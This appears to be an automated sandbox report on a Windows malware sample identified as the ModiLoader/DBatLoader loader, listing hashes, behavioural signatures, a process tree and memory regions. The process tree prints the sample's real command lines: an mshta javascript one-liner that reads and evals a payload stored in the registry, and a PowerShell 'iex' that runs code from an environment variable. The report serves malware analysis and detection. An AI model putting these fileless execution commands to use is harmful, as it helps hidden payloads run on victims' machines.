Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    07-05-2024 22:28

General

  • Target

    21ffacb3767e2260c5dbe4adbad48fa2_JaffaCakes118.exe

  • Size

    331KB

  • MD5

    21ffacb3767e2260c5dbe4adbad48fa2

  • SHA1

    d682781f7a8628793de762ad06c490be3632e016

  • SHA256

    e7dc46c3427d3562898320310a9021a22af1845610842c70b08dd11eba7fe242

  • SHA512

    110c4e6fa8057d4b56624d92425dc43da8de3d5eadb7c70dc17d27c75e095dc0ed5c959ae34ba0e3c855816f208fc6cdac7d8ec6f310df1543ef378d413265d4

  • SSDEEP

    6144:rTlX2afUVMJnGGYONpiG/rpdOpMvh6EEpv6UIFcqiWEiHUpl:nlX2afBFOyXbaqigUr

Score
10/10

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • ModiLoader Second Stage 9 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\21ffacb3767e2260c5dbe4adbad48fa2_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\21ffacb3767e2260c5dbe4adbad48fa2_JaffaCakes118.exe"
    1⤵
      PID:4992
    • C:\Windows\system32\mshta.exe
      "C:\Windows\system32\mshta.exe" javascript:bWDGSCo18="0J";x09L=new%20ActiveXObject("WScript.Shell");XDNH22="rx4";qw2Ee4=x09L.RegRead("HKCU\\software\\yLCkQSGwh0\\qj4iSU");yoKXGW55U="m";eval(qw2Ee4);sK0LM7="FbuHy";
      1⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:2072
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:vrtgrcn
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3560

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qimvemja.wvb.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/3560-11-0x00000000030E0000-0x0000000003116000-memory.dmp

      Filesize

      216KB

    • memory/3560-15-0x00000000062B0000-0x0000000006316000-memory.dmp

      Filesize

      408KB

    • memory/3560-12-0x0000000005B60000-0x0000000006188000-memory.dmp

      Filesize

      6.2MB

    • memory/3560-14-0x0000000006240000-0x00000000062A6000-memory.dmp

      Filesize

      408KB

    • memory/3560-13-0x0000000005A60000-0x0000000005A82000-memory.dmp

      Filesize

      136KB

    • memory/3560-29-0x00000000078D0000-0x00000000078EA000-memory.dmp

      Filesize

      104KB

    • memory/3560-28-0x0000000007F20000-0x000000000859A000-memory.dmp

      Filesize

      6.5MB

    • memory/3560-27-0x0000000006840000-0x000000000688C000-memory.dmp

      Filesize

      304KB

    • memory/3560-26-0x0000000006810000-0x000000000682E000-memory.dmp

      Filesize

      120KB

    • memory/3560-25-0x0000000006320000-0x0000000006674000-memory.dmp

      Filesize

      3.3MB

    • memory/4992-2-0x00000000021D0000-0x00000000022AC000-memory.dmp

      Filesize

      880KB

    • memory/4992-8-0x00000000021D0000-0x00000000022AC000-memory.dmp

      Filesize

      880KB

    • memory/4992-7-0x00000000021D0000-0x00000000022AC000-memory.dmp

      Filesize

      880KB

    • memory/4992-6-0x00000000021D0000-0x00000000022AC000-memory.dmp

      Filesize

      880KB

    • memory/4992-1-0x0000000000400000-0x000000000045A5E8-memory.dmp

      Filesize

      361KB

    • memory/4992-0-0x0000000000452000-0x0000000000454000-memory.dmp

      Filesize

      8KB

    • memory/4992-4-0x00000000021D0000-0x00000000022AC000-memory.dmp

      Filesize

      880KB

    • memory/4992-9-0x00000000021D0000-0x00000000022AC000-memory.dmp

      Filesize

      880KB

    • memory/4992-3-0x0000000000400000-0x000000000045A5E8-memory.dmp

      Filesize

      361KB

    • memory/4992-5-0x00000000021D0000-0x00000000022AC000-memory.dmp

      Filesize

      880KB

    • memory/4992-34-0x0000000000452000-0x0000000000454000-memory.dmp

      Filesize

      8KB